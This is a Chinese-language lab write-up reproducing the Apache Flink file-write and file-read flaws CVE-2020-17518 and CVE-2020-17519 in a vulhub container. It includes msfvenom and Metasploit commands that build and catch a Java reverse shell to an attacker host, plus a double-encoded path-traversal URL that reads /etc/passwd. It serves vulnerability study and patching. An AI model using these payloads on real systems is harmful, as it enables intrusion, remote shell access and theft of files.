Apache Flink漏洞复现
字数 1124 2025-08-15 21:33:26
Apache Flink漏洞复现与分析
概述
Apache Flink是一个高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架。其核心是用Java和Scala编写的分布式流数据流引擎,类似于Spark。Flink具有监控API,可用于查询"正在运行的jobs"和"最近完成的jobs"的状态和统计信息。
漏洞详情
CVE-2020-17518 (任意文件写入漏洞)
- 影响版本: Apache Flink 1.5.1 - 1.11.2
- 漏洞描述: 攻击者利用REST API可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)
- 漏洞原理: Flink 1.5.1引入的REST处理程序允许通过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置
CVE-2020-17519 (任意文件读取漏洞)
- 影响版本: Apache Flink 1.11.0, 1.11.1, 1.11.2
- 漏洞描述: 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)
环境搭建
使用vulhub的环境进行复现:
- 创建docker-compose.yml文件:
version: '2'
services:
flink:
image: vulhub/flink:1.11.2
command: jobmanager
ports:
- "8081:8081"
- "6123:6123"
- 启动环境:
docker-compose up -d
- 访问
http://ip:8081
漏洞复现
CVE-2020-17518 (任意文件写入)
- 访问
http://ip:8081,找到"Submit New Job"的"Add New" - 上传一个jar包(可以新建一个zip文件并修改后缀为.jar)
- 抓包修改请求,例如在/tmp目录下新建文件:
- 使用
../切换路径
- 使用
- 验证文件是否上传成功:
docker ps # 查看容器
docker exec -it CONTAINER_ID /bin/bash # 进入容器
- 利用漏洞获取shell:
- 生成jar格式的反弹shell:
msfvenom -p java/shell_reverse_tcp lhost=KALI_IP lport=PORT -f jar > /home/a.jar- 启动msf接收shell:
msfconsole use exploit/multi/handler set payload java/shell_reverse_tcp set LHOST KALI_IP set LPORT PORT exploit- 上传jar包并点击"Submit"
CVE-2020-17519 (任意文件读取)
构造URL读取文件,例如读取/etc/passwd:
http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
注:%252f为/的两次URL编码
漏洞修复
官方已发布安全版本,建议及时升级至最新版本:
https://flink.apache.org/zh/downloads.html
参考链接
- https://github.com/vulhub/vulhub/tree/master/flink
- https://www.anquanke.com/post/id/227668
免责声明
- 本文技术信息仅供参考,不构成专业建议
- 使用前请充分测试和评估
- 技术发展迅速,内容可能存在滞后性
- 使用技术需遵守《中华人民共和国网络安全法》